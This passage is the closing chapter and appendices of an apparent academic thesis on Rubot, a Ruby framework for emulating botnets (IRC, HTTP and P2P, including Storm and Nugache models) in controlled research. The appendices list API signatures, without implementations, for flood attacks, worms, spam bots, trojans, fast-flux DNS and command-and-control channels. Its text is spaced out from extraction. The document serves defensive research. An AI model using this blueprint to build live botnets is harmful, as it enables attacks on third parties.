6.1 Issues Pertaining to Botnet Research

There are three main issues in botnet research that promote the need of an exper-

imental framework: acquisition of botnet samples/code bases, reproducibility, and

legal liability.

The first hurdles researchers face is understanding the basics of how botnets oper-

ate and acquiring samples of interest. The reason that acquiring samples is difficult

is because criminals do not want their malware analyzed and the security community
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is hesitant to share with someone who is not vetted. The framework allows for re-

searchers to understand the botnet without reverse engineering and to share models

without fear of giving criminals advantages. After the experiment is done, the results,

such as packet traces, can be shared without issue.

Because botmasters attempt to evade detection and monitoring, it is often quite

difficult for researchers to obtain visibility into the operation of the botnet. So not

only is it sometimes hard to judge what the botnet is doing, its impossible to re-

produce the actions. This does not lend itself to rich research. With the Rubot

framework, results are reproducible and other researchers can verify the results and

implementation.

Running malware can place researchers in legally disadvantageous positions. Al-

lowing outbound attacks can imply that the researcher was negligent or intentionally

attacking others. Since botmasters often send test messages or launch test scans to

see if the node will respond correctly to commands, blocking outbound activity could

tip the botmasters off to the fact that they are being monitored, causing them to

evade. If during the monitoring of a botnet, the researcher captures regular traffic,

then there are privacy issues as well. Although untested in court, there is a civil

case against reverse engineering of the malware because of the DMCA. Lastly, none

of the results can be used in a court of law and may actually work in favor of the

criminals. When using the Rubot framework, you have implicit consent of all the

effective end-points and avoid all of these legal liabilities.

6.2 Measuring P2P Botnets

In this work, I described several methods for measuring P2P botnets and the chal-

lenges in doing so. The first step in measuring botnets in general was to inspect

the available source code bases. In those code bases, I found a very strong tendency

towards packeting attacks, spam, and spying methods. A good number had updating
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routines. The second method that I employed was binary reverse engineering using

both static code analysis and live memory tracing. The third technique that I devel-

oped, Winebots, used the WINE emulator as a ultra-lightweight emulator to run a

large number of bot samples simultaneously in order to map out peers in the botnet.

The last deployed method deployed was custom-built, protocol-aware crawlers that

queried each discovered node for more peers. The P2P network measurements, using

Winebots and crawlers, folded into an analysis of the utility of various P2P botnet

structures.

Each of these techniques had limitations. Malware source code is often impossible

to obtain, especially for the more professionally built (and thus interesting) botnets.

Binary reverse engineering is extremely time consuming and requires a high level

of skill. Winebots can only emulate a subset of the Win32 API and cannot do all

the functions in the malware–often leading it to crash. Crawlers requires that nodes

give information about peers and that those peers can be directly contacted, i.e., not

behind a stateful firewall.

Rubot alleviates all these limitations by allowing the researcher to understand

and control how the botnet functions and have ground truth of the deployment of

the botnet. This alleviates the need for time-consuming reverse engineering or vir-

tualization technologies which may or may not be detected or emulate the functions

correctly. Crawlers can be tested in a variety of ways and their effectiveness can be

measured against the true deployment. Most importantly, Rubot allows researchers

to implement new behaviors that current botnets may not exhibit.

6.3 Rubot Framework

The Rubot framework serves the critical need for scientific endeavor by providing

common models and required services in running and measuring a wide variety of
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botnets. This enables novel research in the area of botnet structures, evasion tech-

niques, and detection. While I discourage “worst of breed” research, Rubot is a

powerful framework for that style of inquiry. More importantly, IDS evasion and

better botnet detection research are the future goals of this framework and enables

it by providing common network behaviors of botnets.

The network behavior models included in Rubot falling the following categories

and the API is listed in Listing A.1:

1. Services - network accessible services like DNS and HTTP servers.

2. Vulnerability models - generic services and client-side behaviors that can lead

to exploitation.

3. Attack models - network-based malfeasance, such as packeting and spamming.

4. Updating model - mechanism that allows a bot to be “upgraded” and change

behavior.

5. Communication models - protocol used to connect to the C&C and/or other

bots.

6. Composite models - encapsulation of multiple models into one bundle that em-

ulates a certain type of bot.

The Storm model extends the Rubot API and utilizes the Overnet API. The

Storm model uses the Rubot P2PBot model and and uses Overnet to advertise and

search for supernodes and subnodes. The Storm API is provided in Listing B.1 and

the Overnet API is provided in Listing C.1. The Storm model provides an excellent

example of how to utilize the Rubot API to create complex models.
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6.4 Future Work

As the major contribution of this work is a framework, it serves as a foundation on

which much future work can be built. However, the following four major features that

warrant elevated attention: testbed support, simulator integration, instant messenger

models, and sensor models.

6.4.1 Testbed Support

Testbeds allow for large-scale network testing in either open or closed environments.

Testbeds would provide the computational and network support required to evalu-

ate large botnets under a variety of scenarios. Two leading testbeds of interest are

PlanetLab [27] and Deter [5]. PlanetLab provides virtual “slices” to conduct exper-

iments across a large number of Internet-connected hosts. The Deter testbed uses a

Emulab-based simulation to configure the network and run the simulation.

6.4.2 Simulator Integration

The NS3 simulator [19] has the ability to run external binaries and connect them to

virtual nodes within the simulated topology. I plan to work with the implementors of

the external bindings and tie the Rubot botnet experimentation framework into NS3.

This combination of emulation and simulation will allow for highly instrumented,

large-scale, yet simple to implement botnet experiments.

6.4.3 Instant Messenger Models

A large number of infections today are due to criminals tricking people into clicking

on malicious links. Aside from Web pages and email, instant messenger is the largest

vector for delivering malicious links to victims. The Rubot framework would be well-

served by incorporating an instant messaging server and client. Ruby has had support

for Jabber clients for some time and recently a half-implemented project for the server

has appeared.
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6.4.4 Sensor Models

Since a large focus of the framework was to allow researchers to test their detection

algorithms, such as BotHunter [17], on the emulated botnets, the Rubot framework

doesn’t contain any detection models. It would be beneficial to include base models

for detectors such as honeypots, darknets, and intrusion detection systems (IDS).

These base models could serve as a framework for detection just as the current Rubot

models serve for botnets.
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APPENDIX A

RUBOT API

class Logger
def i n i t i a l i z e ( port =9999 , s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ )
def warn (msg)
def i n f o (msg)
def f a t a l (msg)

class Cal lback
def i n i t i a l i z e ( c a l l b a ck=ni l )
def c a l l ( c a l l e r , ip , port , message )

class Engine < Thread
class Bot < Engine

def c a l l ( c a l l e r , ∗ args )
def i r c c b ( c a l l e r , nick , user , host , cmd , tonick , msg)
def http cb ( c a l l e r , code , body )
def t cpsuper cb ( c a l l e r , peer , msg)
def t cppee r cb ( c a l l e r , peer , msg)
def udppeer cb ( c a l l e r , peer , msg)
def httpupdater cb ( c a l l e r , code , body , current , conf ignames )
def stop

class Host < Engine
############### VULNERABLE SERVICES ##############

class Explo i t
def i n i t i a l i z e ( exp l o i t , c a l l b a ck )
def t e s t ( bu f f e r )
def c a l l ( obj , msg)

class VulnerableTCPService < Thread
def i n i t i a l i z e ( e xp l o i t s , port )
def s t a r t
def stop

class VulnerableUDPService < Thread
def i n i t i a l i z e ( e xp l o i t s , port )
def s t a r t
def stop

class VulnerableWebServer < VulnerableTCPService
def i n i t i a l i z e ( e xp l o i t s , port =2080)
def s t a r t

class Vulnerab l eC l i ent < Thread
class VulnerableWebBrowser < Vulnerab l eC l i ent

def i n i t i a l i z e ( ur l s , rate , e x p l o i t s )
def s t a r t
def stop

class WebBrowserTrojan < Vulnerab l eC l i ent
def i n i t i a l i z e ( ur l s , e f f e c t i v e n e s s , rate , e x p l o i t s )
def s t a r t
def stop
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class Pop3EmailTrojan < Vulnerab l eC l i ent
def i n i t i a l i z e ( se rver , port , username , password , i n t e r va l , ca l lback ,

e f f e c t i v e n e s s =1)
def s t a r t
def stop

############### BAD THINGS ##############
class Malevanence < Thread

def stop
class SpamTemplate

def i n i t i a l i z e ( template , t o ema i l s = [ ] , f rom emai l s = [ ] , s ub j e c t s = [ ] ,
bod ie s = [ ] )

def each
def to a ( sep=”\n” )

class SpamBot < Malevanence
def i n i t i a l i z e ( spamtemplate , r a t e =1)
def s t a r t

class TCPWorm < Malevanence
def i n i t i a l i z e ( rate , model , port , payload )
def s t a r t

class UDPWorm < Malevanence
def i n i t i a l i z e ( rate , model , port , payload )
def s t a r t

class Packeting < Malevanence
class SYNFlood < Packeting

def i n i t i a l i z e ( target , port , r a t e =1, durat ion=60)
def s t a r t

class UDPFlood < Packeting
def i n i t i a l i z e ( target , port , r a t e =1, durat ion=60)
def s t a r t

class ICMPFlood < Packeting
def i n i t i a l i z e ( target , f type , code , r a t e =1, durat ion=60)
def s t a r t

class PortScan < Packeting
def i n i t i a l i z e ( ta rge t s , por t s )
def s t a r t

class CloneFlood < Malevanence
def i n i t i a l i z e ( s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ , port =6667 , count=100)
def send ( s ,m)
def hand l e s e r v e r i npu t ( s ,m)
def s t a r t
def c lonesend (msg)

class LinearScan
def i n i t i a l i z e ( s t a r t i p=” 0 . 0 . 0 . 0 ” , endip=” 255 . 255 . 255 . 255 ” )
def next

class SubnetScan
def i n i t i a l i z e ( subnets = [ ] )
def next
def c id r2 range ( c i d r )

class RandomScan
def i n i t i a l i z e ( low=” 0 . 0 . 0 . 0 ” , high=” 255 . 255 . 255 . 255 ” , percent=1)
def next

class RandomWithoutRepeatScan
def i n i t i a l i z e ( c i d r s =[” 192 . 168 . 0 . 0/24 ” ] )
def next
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def c id r2 range ( c i d r )
############### COMMAND AND CONTROL CHANNELS ##############

class CommandAndControl < Thread
class IRCBot < CommandAndControl

def i n i t i a l i z e ( s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ , port=’ 6667 ’ , n ick=’ IRCBot ’ ,
channel=’ rubot ’ , admins=’ botmaster ’ , c a l l b a ck=ni l )

def send ( s )
def hand l e s e r v e r i npu t ( s )
def s t a r t
def stop

class HTTPBot < CommandAndControl
def i n i t i a l i z e ( ur l , i n t e r va l , ca l lback , useragent=’ rubot /0 .1 ’ )
def authen t i c a t i on ( user , pass )
def s t a r t
def stop

############### P2P Baby ! ##############
class Peer

def i n i t i a l i z e ( ip , port , ptype , data )
def t o s

class PeerType
def PeerType : : name( ptype )

class MessageType
class Message < Struct . new ( : src , : dst , : mtype , : data ) ; end
class ProxyRequest < Struct . new ( : dst ip , : dstport , : proto ) ; end
class Peer2Peer < Thread

def proce s s ( peer , msg)
class TCPSuperNode < Peer2Peer

def i n i t i a l i z e ( port =2008 , c a l l b a ck=nil , peermanager=nil , s e a r ch t ab l e
=nil , p r e s en ta t i on=ni l )

def s t a r t
def stop

class TCPPeerBot < Peer2Peer
def i n i t i a l i z e ( supernodes=nil , c a l l b a ck=nil , peermanager=nil ,

p r e s en ta t i on=nil , s earch=ni l )
def s t a r t
def stop
def send (msg , to=ni l )
def connect ( peer )

class TCPPresentation
def i n i t i a l i z e
def recv ( sock )
def send ( peer , msgs )

class UDPPeerBot < Peer2Peer
def i n i t i a l i z e ( supernodes=nil , port=0, c a l l ba ck=nil , peermanager=nil

, p r e s en ta t i on=nil , s e a r ch t ab l e=ni l )
def s t a r t
def stop
def send (msg , to=ni l )
def connect ( peer )

class UDPPresentation
def i n i t i a l i z e
def recv ( sock )
def send ( peer , msgs )

class PeerManager
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def i n i t i a l i z e
def add ( peer )
def get (n=3)
def supernodes
def peernodes
def remove ( peer )
def remove bysock ( c )
def lookup ( ip , port )
def each

class FlatSearchTable
def i n i t i a l i z e
def pub l i sh ( key , va lue )
def unpubl ish ( key )
def search ( key )

############### PROXIES ##############
class Proxy < Thread
class TCPProxy < Proxy

def i n i t i a l i z e ( dst ip , ds tpor t )
def s t a r t
def stop

class UDPProxy < Proxy
def i n i t i a l i z e ( dst ip , ds tpor t )
def s t a r t
def stop

############### SERVICES ##############
class ResourceRecord < Struct . new ( : name , : k l a s s , : type , : t t l , : answer )

; end
class FastFlux < Thread

def i n i t i a l i z e ( port =2053)
def s t a r t
def stop
def add record (qname , r c l a s s , rtype , answer , t t l =300)
def de l r e c o r d (qname , r c l a s s , rtype , answer )
def g e t r e c o r d s (qname , qc l a s s , qtype )

############### UPDATE ##############
class Updater < Thread

def i n i t i a l i z e ( con f i g s , cur rent )
def s t a r t
def switch ( newconf ig )
def stop

class UpdaterCallback
def c a l l ( updateobj , code , body , current , conf ignames )

class HTTPUpdater < Updater
def i n i t i a l i z e ( ur l , i n t e r va l , c on f i g s , current , ca l lback , useragent=

’ rubot /0 .1 ’ )
def authen t i c a t i on ( user , pass )
def s t a r t

############### COMPOSITE MODELS ##############
class GTBot < Bot

def i n i t i a l i z e ( s e r v e r=’ 1 2 7 . 0 . 0 . 1 ’ , port=’ 6667 ’ , n ick=’ IRCBot ’ ,
channel=’#t e s t ’ , admins=[ ’ botmaster ’ ] , updater=ni l )

def s t a r t
def i r c c b ( c a l l e r , nick , user , host , cmd , tonick , msg)

class NugacheHTTP
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def v i s i t ( ur l , wait )
def execute ( u r l )

class AESStream
def i n i t i a l i z e ( key , i v )
def encrypt (msg)
def pad (n=1)
def xor ( s1 , s2 )

class NugacheSession
def i n i t i a l i z e ( sock , rsakey , ver s ion , c l i e n t=true )
def connect
def recv
def hand l e c l i e n t
def hand l e s e rv e r
def send (m)

class NugacheControl ler < Bot
def i n i t i a l i z e ( pee r s )
def s t a r t
def connect ( peer )
def send ( peer , msg)
def s i gn (cmd)
def proce s s ( peer , msg)

class NugacheBot < Bot
def i n i t i a l i z e ( port =2008 , pee r s = [ ] , c a l l b a ck=ni l )
def v e r i f y (msg)
def connect ( peer )
def s t a r t
def send ( peer , msg)
def stop
def peer s
def proce s s ( peer , msg)

Listing A.1: Rubot API
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APPENDIX B

STORM API

class St r ing
def xor ! ( key )
def ˆ( key )
def hexxor ( key )
def checksum
def gz ip compress
def gz ip decompress
def base64 encode
def base64 decode
def to storm
def from storm
def ip2storm
def storm2ip

class StormServerSess ion < Thread
def i n i t i a l i z e ( stormbot , c l i e n t s o c k e t , c a l l b a ck=ni l )
def s t a r t
def send (msg)
def recv
def c l o s e
def stop
def proce s s (msg)

class StormCl ientSes s ion < Thread
def i n i t i a l i z e ( stormbot , ip , port , c a l l b a ck=ni l )
def s t a r t
def send (msg)
def recv
def c l o s e
def stop
def proce s s (msg)

class TCPPeer < Struct . new ( : ip , : port ) ; end
class SuperNodeProxySession < Thread

def i n i t i a l i z e ( subcon , c l i e n t s o c k )
def s e r v i c e ( buf , c l i e n t i p )

class SuperNodeProxy < Thread
def i n i t i a l i z e ( subcons =[ ] , port=0, s e rv=ni l )
def s t a r t
def stop

class Subcont ro l l e rProxySes s i on < Thread
def i n i t i a l i z e ( master , c l i e n t s o c k )

class Subcontro l l e rProxy < Thread
def i n i t i a l i z e ( masters = [ ] , port=0, s e rv=ni l )
def s t a r t
def stop

class MasterProxySess ion < Thread

87



def i n i t i a l i z e ( webserver , c l i e n t s o c k )
class MasterProxy < Thread

def i n i t i a l i z e ( webservers = [ ] , port=0, s e rv=ni l )
def s t a r t
def stop

class SubnodeServer < Thread
def i n i t i a l i z e ( bot , port=0, s e rv=ni l )
def s t a r t
def stop

class StormBot < Peer2Peer
def i n i t i a l i z e ( peers , c a l l b a ck=nil , ptype=Overnet : : PeerType : :SUBNODE

, upstream =[ ] )
def s t a r t
def storm rand
def generate hash
def c on f i g
def StormBot : : r e ad c on f i g ( c on f i g )
def searchhashes ( a c t i va t ed = fa l se )
def r e su l tha sh ( ip , port )
def pa r s e r e s u l t ( hash )
def c a l l ( peer , msg)
def l o g i n ( ip , port )
def bol ( ip , port )
def bo l r e cv ( sock )
def promote ( ptype )

Listing B.1: Rubot::Storm API
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APPENDIX C

OVERNET API

class PeerType
class OvernetEngine < Thread

def i n i t i a l i z e (myhash , peers , key , port=0)
def c on f i g
def s t a r t
def search ( stype , hash , c a l l b a ck=ni l )
def pub l i c i z e ( peer=@myself )
def pub l i sh ( hash1 , hash2 , tags = [ ] )
def pub l i s h t o ( peer , hash1 , hash2 , tags = [ ] )
def udp recv
def udp send ( peer , msg)
def proce s s ( peer , msg)

class OvernetPeerManager
def i n i t i a l i z e
def add ( peer )
def get (n=3)
def c l o s e s t ( hash , n=9)
def supernodes
def peernodes
def remove ( peer )
def remove bysock ( c )
def lookup ( ip , port )
def each

class OvernetSearchTable
def i n i t i a l i z e
def pub l i sh ( key , value , tags = [ ] )
def unpubl ish ( key )
def search ( key )

class Peer
def i n i t i a l i z e ( hash , ip , port , ptype )
def l ength
def pack
def Peer . parse ( pkt )
def Peer . l ength
def t o s
def t o c o n f i g
def Peer . f r om con f i g ( c on f i g )

class Tag
def i n i t i a l i z e ( ttype , name , s t r i n g )
def l ength
def pack
def Tag . parse ( pkt )
def t o s

class Packet
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def Packet . parse ( pkt )
def l ength

class Connect < Packet
def i n i t i a l i z e ( peer )
def pack
def Connect . parse ( pkt )
def t o s

class ConnectReply < Packet
def i n i t i a l i z e ( pee r s )
def pack
def ConnectReply . parse ( pkt )
def t o s

class Pub l i c i z e < Packet
def i n i t i a l i z e ( peer )
def pack
def Pub l i c i z e . parse ( pkt )
def t o s

class Publ ic izeAck < Packet
def i n i t i a l i z e
def pack
def Publ ic izeAck . parse ( pkt )
def t o s

class Search < Packet
def i n i t i a l i z e ( stype , hash )
def pack
def Search . parse ( pkt )
def t o s

class SearchNext < Packet
def i n i t i a l i z e ( hash , pee r s )
def pack
def SearchNext . parse ( pkt )
def t o s

class SearchIn fo < Packet
def i n i t i a l i z e ( hash , stype , min , max)
def pack
def SearchIn fo . parse ( pkt )
def t o s

class SearchResult < Packet
def i n i t i a l i z e ( hash1 , hash2 , tags )
def pack
def SearchResult . parse ( pkt )
def t o s

class SearchEnd < Packet
def i n i t i a l i z e ( hash )
def pack
def SearchEnd . parse ( pkt )
def t o s

class Publ ish < Packet
def i n i t i a l i z e ( hash1 , hash2 , tags )
def pack
def Publ ish . parse ( pkt )
def t o s

class PublishAck < Packet
def i n i t i a l i z e ( hash )
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def pack
def PublishAck . parse ( pkt )
def t o s

class Ident i f yRep ly < Packet
def i n i t i a l i z e ( hash , ip , port )
def pack
def Ident i f yRep ly . parse ( pkt )
def t o s

class Ident i fyAck < Packet
def i n i t i a l i z e ( port )
def pack
def Ident i fyAck . parse ( pkt )
def t o s

class Fi r ewa l l < Packet
def i n i t i a l i z e ( hash , port )
def pack
def Fi r ewa l l . parse ( pkt )
def t o s

class Firewal lAck < Packet
def i n i t i a l i z e ( hash )
def pack
def Firewal lAck . parse ( pkt )
def t o s

class Firewal lNack < Packet
def i n i t i a l i z e ( hash )
def pack
def Firewal lNack . parse ( pkt )
def t o s

class IPQuery < Packet
def i n i t i a l i z e ( port )
def pack
def IPQuery . parse ( pkt )
def t o s

class IPQueryAnswer < Packet
def i n i t i a l i z e ( ip )
def pack
def IPQueryAnswer . parse ( pkt )
def t o s

class IPQueryDone < Packet
def i n i t i a l i z e
def pack
def IPQueryDone . parse ( pkt )
def t o s

class I d e n t i f y < Packet
def i n i t i a l i z e
def pack
def I d e n t i f y . parse ( pkt )
def t o s

Listing C.1: Overnet API
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